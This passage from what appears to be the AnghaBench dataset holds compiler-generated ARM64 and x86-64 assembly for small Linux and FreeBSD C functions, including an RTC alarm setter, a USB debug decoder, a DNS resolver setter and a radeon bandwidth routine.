b LBB0_1 LBB0_1: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-28] b LBB0_16 LBB0_2: ldr x8, [sp, #48] ldr w0, [x8, #20] bl _bin2bcd stur w0, [x29, #-24] ldr x8, [sp, #48] ldr w0, [x8, #16] bl _bin2bcd stur w0, [x29, #-20] ldr x8, [sp, #48] ldr w0, [x8, #12] bl _bin2bcd stur w0, [x29, #-16] ldr x8, [sp, #48] ldr w0, [x8, #8] bl _bin2bcd ldr x8, [sp, #16] ; 8-byte Folded Reload stur w0, [x29, #-12] ldr x9, [sp, #40] ldr w0, [x9, #8] ldr w1, [x8] add x2, sp, #36 bl _regmap_read str w0, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: b LBB0_15 LBB0_4: ldr x8, [sp, #16] ; 8-byte Folded Reload adrp x9, _DS3232_REG_CR_A1IE@GOTPAGE ldr x9, [x9, _DS3232_REG_CR_A1IE@GOTPAGEOFF] ldr w9, [x9] adrp x10, _DS3232_REG_CR_A2IE@GOTPAGE ldr x10, [x10, _DS3232_REG_CR_A2IE@GOTPAGEOFF] ldr w10, [x10] orr w10, w9, w10 ldr w9, [sp, #36] bic w9, w9, w10 str w9, [sp, #36] ldr x9, [sp, #40] ldr w0, [x9, #8] ldr w1, [x8] ldr w2, [sp, #36] bl _regmap_write str w0, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: b LBB0_15 LBB0_6: ldr x8, [sp, #40] ldr w0, [x8, #8] adrp x8, _DS3232_REG_SR@GOTPAGE ldr x8, [x8, _DS3232_REG_SR@GOTPAGEOFF] ldr w1, [x8] add x2, sp, #32 bl _regmap_read str w0, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: b LBB0_15 LBB0_8: adrp x8, _DS3232_REG_SR_A1F@GOTPAGE ldr x8, [x8, _DS3232_REG_SR_A1F@GOTPAGEOFF] ldr w8, [x8] adrp x9, _DS3232_REG_SR_A2F@GOTPAGE ldr x9, [x9, _DS3232_REG_SR_A2F@GOTPAGEOFF] ldr w9, [x9] orr w9, w8, w9 ldr w8, [sp, #32] bic w8, w8, w9 str w8, [sp, #32] ldr x8, [sp, #40] ldr w0, [x8, #8] adrp x8, _DS3232_REG_SR@GOTPAGE ldr x8, [x8, _DS3232_REG_SR@GOTPAGEOFF] ldr w1, [x8] ldr w2, [sp, #32] bl _regmap_write str w0, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: b LBB0_15 LBB0_10: ldr x8, [sp, #40] ldr w0, [x8, #8] adrp x8, _DS3232_REG_ALARM1@GOTPAGE ldr x8, [x8, _DS3232_REG_ALARM1@GOTPAGEOFF] ldr w1, [x8] sub x2, x29, #24 mov w3, #4 bl _regmap_bulk_write str w0, [sp, #28] ldr w8, [sp, #28] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: b LBB0_15 LBB0_12: ldr x8, [sp, #48] ldr x8, [x8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: ldr x8, [sp, #16] ; 8-byte Folded Reload adrp x9, _DS3232_REG_CR_A1IE@GOTPAGE ldr x9, [x9, _DS3232_REG_CR_A1IE@GOTPAGEOFF] ldr w10, [x9] ldr w9, [sp, #36] orr w9, w9, w10 str w9, [sp, #36] ldr x9, [sp, #40] ldr w0, [x9, #8] ldr w1, [x8] ldr w2, [sp, #36] bl _regmap_write str w0, [sp, #28] b LBB0_14 LBB0_14: b LBB0_15 LBB0_15: ldr w8, [sp, #28] stur w8, [x29, #-28] b LBB0_16 LBB0_16: ldur w8, [x29, #-28] str w8, [sp, #12] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: bl ___stack_chk_fail LBB0_18: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _DS3232_REG_CR,4,2 ; @DS3232_REG_CR .comm _DS3232_REG_CR_A1IE,4,2 ; @DS3232_REG_CR_A1IE .comm _DS3232_REG_CR_A2IE,4,2 ; @DS3232_REG_CR_A2IE .comm _DS3232_REG_SR,4,2 ; @DS3232_REG_SR .comm _DS3232_REG_SR_A1F,4,2 ; @DS3232_REG_SR_A1F .comm _DS3232_REG_SR_A2F,4,2 ; @DS3232_REG_SR_A2F .comm _DS3232_REG_ALARM1,4,2 ; @DS3232_REG_ALARM1 .no_dead_strip _ds3232_set_alarm .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ds3232_set_alarm _ds3232_set_alarm: ## @ds3232_set_alarm .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -48(%rbp) movq %rsi, -56(%rbp) movq -48(%rbp), %rdi callq _dev_get_drvdata movq %rax, -64(%rbp) movq -64(%rbp), %rax cmpq $0, (%rax) jg LBB0_2 ## %bb.1: xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -36(%rbp) jmp LBB0_16 LBB0_2: movq -56(%rbp), %rax movl 20(%rax), %edi callq _bin2bcd movl %eax, -32(%rbp) movq -56(%rbp), %rax movl 16(%rax), %edi callq _bin2bcd movl %eax, -28(%rbp) movq -56(%rbp), %rax movl 12(%rax), %edi callq _bin2bcd movl %eax, -24(%rbp) movq -56(%rbp), %rax movl 8(%rax), %edi callq _bin2bcd movl %eax, -20(%rbp) movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_CR@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -68(%rbp), %rdx callq _regmap_read movl %eax, -76(%rbp) cmpl $0, -76(%rbp) je LBB0_4 ## %bb.3: jmp LBB0_15 LBB0_4: movq _DS3232_REG_CR_A1IE@GOTPCREL(%rip), %rax movl (%rax), %eax movq _DS3232_REG_CR_A2IE@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -68(%rbp), %eax movl %eax, -68(%rbp) movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_CR@GOTPCREL(%rip), %rax movl (%rax), %esi movl -68(%rbp), %edx callq _regmap_write movl %eax, -76(%rbp) cmpl $0, -76(%rbp) je LBB0_6 ## %bb.5: jmp LBB0_15 LBB0_6: movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_SR@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -72(%rbp), %rdx callq _regmap_read movl %eax, -76(%rbp) cmpl $0, -76(%rbp) je LBB0_8 ## %bb.7: jmp LBB0_15 LBB0_8: movq _DS3232_REG_SR_A1F@GOTPCREL(%rip), %rax movl (%rax), %eax movq _DS3232_REG_SR_A2F@GOTPCREL(%rip), %rcx orl (%rcx), %eax xorl $-1, %eax andl -72(%rbp), %eax movl %eax, -72(%rbp) movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_SR@GOTPCREL(%rip), %rax movl (%rax), %esi movl -72(%rbp), %edx callq _regmap_write movl %eax, -76(%rbp) cmpl $0, -76(%rbp) je LBB0_10 ## %bb.9: jmp LBB0_15 LBB0_10: movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_ALARM1@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -32(%rbp), %rdx movl $4, %ecx callq _regmap_bulk_write movl %eax, -76(%rbp) cmpl $0, -76(%rbp) je LBB0_12 ## %bb.11: jmp LBB0_15 LBB0_12: movq -56(%rbp), %rax cmpq $0, (%rax) je LBB0_14 ## %bb.13: movq _DS3232_REG_CR_A1IE@GOTPCREL(%rip), %rax movl (%rax), %eax orl -68(%rbp), %eax movl %eax, -68(%rbp) movq -64(%rbp), %rax movl 8(%rax), %edi movq _DS3232_REG_CR@GOTPCREL(%rip), %rax movl (%rax), %esi movl -68(%rbp), %edx callq _regmap_write movl %eax, -76(%rbp) LBB0_14: jmp LBB0_15 LBB0_15: movl -76(%rbp), %eax movl %eax, -36(%rbp) LBB0_16: movl -36(%rbp), %eax movl %eax, -80(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_18 ## %bb.17: movl -80(%rbp), %eax ## 4-byte Reload addq $80, %rsp popq %rbp retq LBB0_18: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _DS3232_REG_CR,4,2 ## @DS3232_REG_CR .comm _DS3232_REG_CR_A1IE,4,2 ## @DS3232_REG_CR_A1IE .comm _DS3232_REG_CR_A2IE,4,2 ## @DS3232_REG_CR_A2IE .comm _DS3232_REG_SR,4,2 ## @DS3232_REG_SR .comm _DS3232_REG_SR_A1F,4,2 ## @DS3232_REG_SR_A1F .comm _DS3232_REG_SR_A2F,4,2 ## @DS3232_REG_SR_A2F .comm _DS3232_REG_ALARM1,4,2 ## @DS3232_REG_ALARM1 .no_dead_strip _ds3232_set_alarm .subsections_via_symbols
AnghaBench/linux/drivers/rtc/extr_rtc-ds3232.c_ds3232_set_alarm.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function usb_decode_set_address _usb_decode_set_address: ; @usb_decode_set_address .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] str x1, [sp, #16] str x2, [sp, #8] ldr x0, [sp, #16] ldr x1, [sp, #8] ldur w3, [x29, #-4] adrp x2, l_.str@PAGE add x2, x2, l_.str@PAGEOFF bl _snprintf ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Set Address(Addr = %02x)" .no_dead_strip _usb_decode_set_address .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function usb_decode_set_address _usb_decode_set_address: ## @usb_decode_set_address .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -4(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq -16(%rbp), %rdi movq -24(%rbp), %rsi movl -4(%rbp), %ecx leaq L_.str(%rip), %rdx callq _snprintf addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Set Address(Addr = %02x)" .no_dead_strip _usb_decode_set_address .subsections_via_symbols
AnghaBench/linux/drivers/usb/common/extr_debug.c_usb_decode_set_address.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ldns_resolver_set_igntc ; -- Begin function ldns_resolver_set_igntc .p2align 2 _ldns_resolver_set_igntc: ; @ldns_resolver_set_igntc .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] str w1, [sp, #4] ldr w8, [sp, #4] ldr x9, [sp, #8] str w8, [x9] add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ldns_resolver_set_igntc ## -- Begin function ldns_resolver_set_igntc .p2align 4, 0x90 _ldns_resolver_set_igntc: ## @ldns_resolver_set_igntc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl -12(%rbp), %ecx movq -8(%rbp), %rax movl %ecx, (%rax) popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/freebsd/contrib/ldns/extr_resolver.c_ldns_resolver_set_igntc.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function comm_read_block _comm_read_block: ; @comm_read_block .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur w2, [x29, #-20] ldur x8, [x29, #-8] ldr w8, [x8] subs w8, w8, #0 ; kill: def $x8 killed $w8 str x8, [sp, #8] ; 8-byte Folded Spill subs x8, x8, #4 cset w8, hi tbnz w8, #0, LBB0_27 ; %bb.1: ldr x11, [sp, #8] ; 8-byte Folded Reload adrp x10, lJTI0_0@PAGE add x10, x10, lJTI0_0@PAGEOFF Ltmp0: adr x8, Ltmp0 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_2: mov w0, #72 bl _w0 str wzr, [sp, #24] b LBB0_3 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_6 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 mov w0, #0 bl _w0 mov w0, #6 bl _w2 bl _r1 str w0, [sp, #20] mov w0, #128 bl _w0 bl _r1 str w0, [sp, #16] mov w0, #4 bl _w2 ldr w0, [sp, #20] ldr w1, [sp, #16] bl _j44 ldur x8, [x29, #-16] ldrsw x9, [sp, #24] strb w0, [x8, x9] b LBB0_5 LBB0_5: ; in Loop: Header=BB0_3 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_3 LBB0_6: b LBB0_27 LBB0_7: mov w0, #104 bl _w0 mov w0, #0 bl _w0 str wzr, [sp, #24] b LBB0_8 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_8 Depth=1 mov w0, #38 bl _w2 bl _r0 ldur x8, [x29, #-16] ldrsw x9, [sp, #24] strb w0, [x8, x9] mov w0, #36 bl _w2 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_8 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_8 LBB0_11: mov w0, #4 bl _w2 b LBB0_27 LBB0_12: mov w0, #104 bl _w3 bl _r1 mov w0, #36 bl _w2 str wzr, [sp, #24] b LBB0_13 LBB0_13: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_16 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_13 Depth=1 bl _r4 ldur x8, [x29, #-16] ldrsw x9, [sp, #24] strb w0, [x8, x9] b LBB0_15 LBB0_15: ; in Loop: Header=BB0_13 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_13 LBB0_16: mov w0, #4 bl _w2 b LBB0_27 LBB0_17: mov w0, #104 bl _w3 bl _r1 mov w0, #36 bl _w2 str wzr, [sp, #24] b LBB0_18 LBB0_18: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] ldur w9, [x29, #-20] mov w10, #2 sdiv w9, w9, w10 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_21 b LBB0_19 LBB0_19: ; in Loop: Header=BB0_18 Depth=1 bl _r4w ldur x8, [x29, #-16] ldrsw x9, [sp, #24] str w0, [x8, x9, lsl #2] b LBB0_20 LBB0_20: ; in Loop: Header=BB0_18 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_18 LBB0_21: mov w0, #4 bl _w2 b LBB0_27 LBB0_22: mov w0, #104 bl _w3 bl _r1 mov w0, #36 bl _w2 str wzr, [sp, #24] b LBB0_23 LBB0_23: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] ldur w9, [x29, #-20] mov w10, #4 sdiv w9, w9, w10 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_26 b LBB0_24 LBB0_24: ; in Loop: Header=BB0_23 Depth=1 bl _r4l ldur x8, [x29, #-16] ldrsw x9, [sp, #24] str w0, [x8, x9, lsl #2] b LBB0_25 LBB0_25: ; in Loop: Header=BB0_23 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_23 LBB0_26: mov w0, #4 bl _w2 b LBB0_27 LBB0_27: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc .p2align 2 lJTI0_0: .long LBB0_2-Ltmp0 .long LBB0_7-Ltmp0 .long LBB0_12-Ltmp0 .long LBB0_17-Ltmp0 .long LBB0_22-Ltmp0 ; -- End function .comm _P1,4,2 ; @P1 .no_dead_strip _comm_read_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function comm_read_block _comm_read_block: ## @comm_read_block .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movq -8(%rbp), %rax movl (%rax), %eax ## kill: def $rax killed $eax movq %rax, -40(%rbp) ## 8-byte Spill subq $4, %rax ja LBB0_26 ## %bb.27: movq -40(%rbp), %rax ## 8-byte Reload leaq LJTI0_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_1: movl $72, %edi callq _w0 movl $0, -24(%rbp) LBB0_2: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %eax cmpl -20(%rbp), %eax jge LBB0_5 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 xorl %edi, %edi callq _w0 movl $6, %edi callq _w2 movb $0, %al callq _r1 movl %eax, -28(%rbp) movl $128, %edi callq _w0 movb $0, %al callq _r1 movl %eax, -32(%rbp) movl $4, %edi callq _w2 movl -28(%rbp), %edi movl -32(%rbp), %esi callq _j44 movb %al, %dl movq -16(%rbp), %rax movslq -24(%rbp), %rcx movb %dl, (%rax,%rcx) ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_2 LBB0_5: jmp LBB0_26 LBB0_6: movl $104, %edi callq _w0 xorl %edi, %edi callq _w0 movl $0, -24(%rbp) LBB0_7: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %eax cmpl -20(%rbp), %eax jge LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movl $38, %edi callq _w2 movb $0, %al callq _r0 movb %al, %dl movq -16(%rbp), %rax movslq -24(%rbp), %rcx movb %dl, (%rax,%rcx) movl $36, %edi callq _w2 ## %bb.9: ## in Loop: Header=BB0_7 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_7 LBB0_10: movl $4, %edi callq _w2 jmp LBB0_26 LBB0_11: movl $104, %edi callq _w3 movb $0, %al callq _r1 movl $36, %edi callq _w2 movl $0, -24(%rbp) LBB0_12: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %eax cmpl -20(%rbp), %eax jge LBB0_15 ## %bb.13: ## in Loop: Header=BB0_12 Depth=1 movb $0, %al callq _r4 movb %al, %dl movq -16(%rbp), %rax movslq -24(%rbp), %rcx movb %dl, (%rax,%rcx) ## %bb.14: ## in Loop: Header=BB0_12 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_12 LBB0_15: movl $4, %edi callq _w2 jmp LBB0_26 LBB0_16: movl $104, %edi callq _w3 movb $0, %al callq _r1 movl $36, %edi callq _w2 movl $0, -24(%rbp) LBB0_17: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %eax movl %eax, -44(%rbp) ## 4-byte Spill movl -20(%rbp), %eax movl $2, %ecx cltd idivl %ecx movl %eax, %ecx movl -44(%rbp), %eax ## 4-byte Reload cmpl %ecx, %eax jge LBB0_20 ## %bb.18: ## in Loop: Header=BB0_17 Depth=1 movb $0, %al callq _r4w movl %eax, %edx movq -16(%rbp), %rax movslq -24(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.19: ## in Loop: Header=BB0_17 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_17 LBB0_20: movl $4, %edi callq _w2 jmp LBB0_26 LBB0_21: movl $104, %edi callq _w3 movb $0, %al callq _r1 movl $36, %edi callq _w2 movl $0, -24(%rbp) LBB0_22: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %eax movl %eax, -48(%rbp) ## 4-byte Spill movl -20(%rbp), %eax movl $4, %ecx cltd idivl %ecx movl %eax, %ecx movl -48(%rbp), %eax ## 4-byte Reload cmpl %ecx, %eax jge LBB0_25 ## %bb.23: ## in Loop: Header=BB0_22 Depth=1 movb $0, %al callq _r4l movl %eax, %edx movq -16(%rbp), %rax movslq -24(%rbp), %rcx movl %edx, (%rax,%rcx,4) ## %bb.24: ## in Loop: Header=BB0_22 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_22 LBB0_25: movl $4, %edi callq _w2 LBB0_26: addq $48, %rsp popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_1, LBB0_1-LJTI0_0 .set L0_0_set_6, LBB0_6-LJTI0_0 .set L0_0_set_11, LBB0_11-LJTI0_0 .set L0_0_set_16, LBB0_16-LJTI0_0 .set L0_0_set_21, LBB0_21-LJTI0_0 LJTI0_0: .long L0_0_set_1 .long L0_0_set_6 .long L0_0_set_11 .long L0_0_set_16 .long L0_0_set_21 .end_data_region ## -- End function .comm _P1,4,2 ## @P1 .no_dead_strip _comm_read_block .subsections_via_symbols
AnghaBench/linux/drivers/block/paride/extr_comm.c_comm_read_block.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dce6_bandwidth_update ; -- Begin function dce6_bandwidth_update .p2align 2 _dce6_bandwidth_update: ; @dce6_bandwidth_update .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ; kill: def $x8 killed $xzr stur xzr, [x29, #-16] str xzr, [sp, #24] str xzr, [sp, #16] ldur x0, [x29, #-8] bl _radeon_update_display_priority str wzr, [sp, #4] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #4] ldur x9, [x29, #-8] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_6 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur x8, [x29, #-8] ldr x8, [x8, #8] ldrsw x9, [sp, #4] ldr x8, [x8, x9, lsl #3] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #16] add x8, x8, #1 str x8, [sp, #16] b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] add w8, w8, #1 str w8, [sp, #4] b LBB0_1 LBB0_6: str wzr, [sp, #4] b LBB0_7 LBB0_7: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #4] ldur x9, [x29, #-8] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_10 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_7 Depth=1 ldur x8, [x29, #-8] ldr x8, [x8, #8] ldrsw x9, [sp, #4] ldr x8, [x8, x9, lsl #3] stur x8, [x29, #-16] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr w9, [sp, #4] add w9, w9, #1 ldr x8, [x8, w9, sxtw #3] str x8, [sp, #24] ldur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldrsw x9, [sp, #4] ldr x1, [x8, x9, lsl #3] ldur x2, [x29, #-16] ldr x3, [sp, #24] bl _dce6_line_buffer_adjust str x0, [sp, #8] ldur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldrsw x9, [sp, #4] ldr x1, [x8, x9, lsl #3] ldr x2, [sp, #8] ldr x3, [sp, #16] bl _dce6_program_watermarks ldur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr w9, [sp, #4] add w9, w9, #1 ldr x1, [x8, w9, sxtw #3] ldr x2, [sp, #24] ldur x3, [x29, #-16] bl _dce6_line_buffer_adjust str x0, [sp, #8] ldur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr w9, [sp, #4] add w9, w9, #1 ldr x1, [x8, w9, sxtw #3] ldr x2, [sp, #8] ldr x3, [sp, #16] bl _dce6_program_watermarks b LBB0_9 LBB0_9: ; in Loop: Header=BB0_7 Depth=1 ldr w8, [sp, #4] add w8, w8, #2 str w8, [sp, #4] b LBB0_7 LBB0_10: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dce6_bandwidth_update ## -- Begin function dce6_bandwidth_update .p2align 4, 0x90 _dce6_bandwidth_update: ## @dce6_bandwidth_update .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq $0, -16(%rbp) movq $0, -24(%rbp) movq $0, -32(%rbp) movq -8(%rbp), %rdi callq _radeon_update_display_priority movl $0, -44(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -44(%rbp), %eax movq -8(%rbp), %rcx cmpl (%rcx), %eax jge LBB0_6 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -8(%rbp), %rax movq 8(%rax), %rax movslq -44(%rbp), %rcx movq (%rax,%rcx,8), %rax cmpq $0, 8(%rax) je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movq -32(%rbp), %rax addq $1, %rax movq %rax, -32(%rbp) LBB0_4: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_5 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) jmp LBB0_1 LBB0_6: movl $0, -44(%rbp) LBB0_7: ## =>This Inner Loop Header: Depth=1 movl -44(%rbp), %eax movq -8(%rbp), %rcx cmpl (%rcx), %eax jge LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movq -8(%rbp), %rax movq 8(%rax), %rax movslq -44(%rbp), %rcx movq (%rax,%rcx,8), %rax movq %rax, -16(%rbp) movq -8(%rbp), %rax movq 8(%rax), %rax movl -44(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movq %rax, -24(%rbp) movq -8(%rbp), %rdi movq -8(%rbp), %rax movq 8(%rax), %rax movslq -44(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq -16(%rbp), %rdx movq -24(%rbp), %rcx callq _dce6_line_buffer_adjust movq %rax, -40(%rbp) movq -8(%rbp), %rdi movq -8(%rbp), %rax movq 8(%rax), %rax movslq -44(%rbp), %rcx movq (%rax,%rcx,8), %rsi movq -40(%rbp), %rdx movq -32(%rbp), %rcx callq _dce6_program_watermarks movq -8(%rbp), %rdi movq -8(%rbp), %rax movq 8(%rax), %rax movl -44(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rsi movq -24(%rbp), %rdx movq -16(%rbp), %rcx callq _dce6_line_buffer_adjust movq %rax, -40(%rbp) movq -8(%rbp), %rdi movq -8(%rbp), %rax movq 8(%rax), %rax movl -44(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rsi movq -40(%rbp), %rdx movq -32(%rbp), %rcx callq _dce6_program_watermarks ## 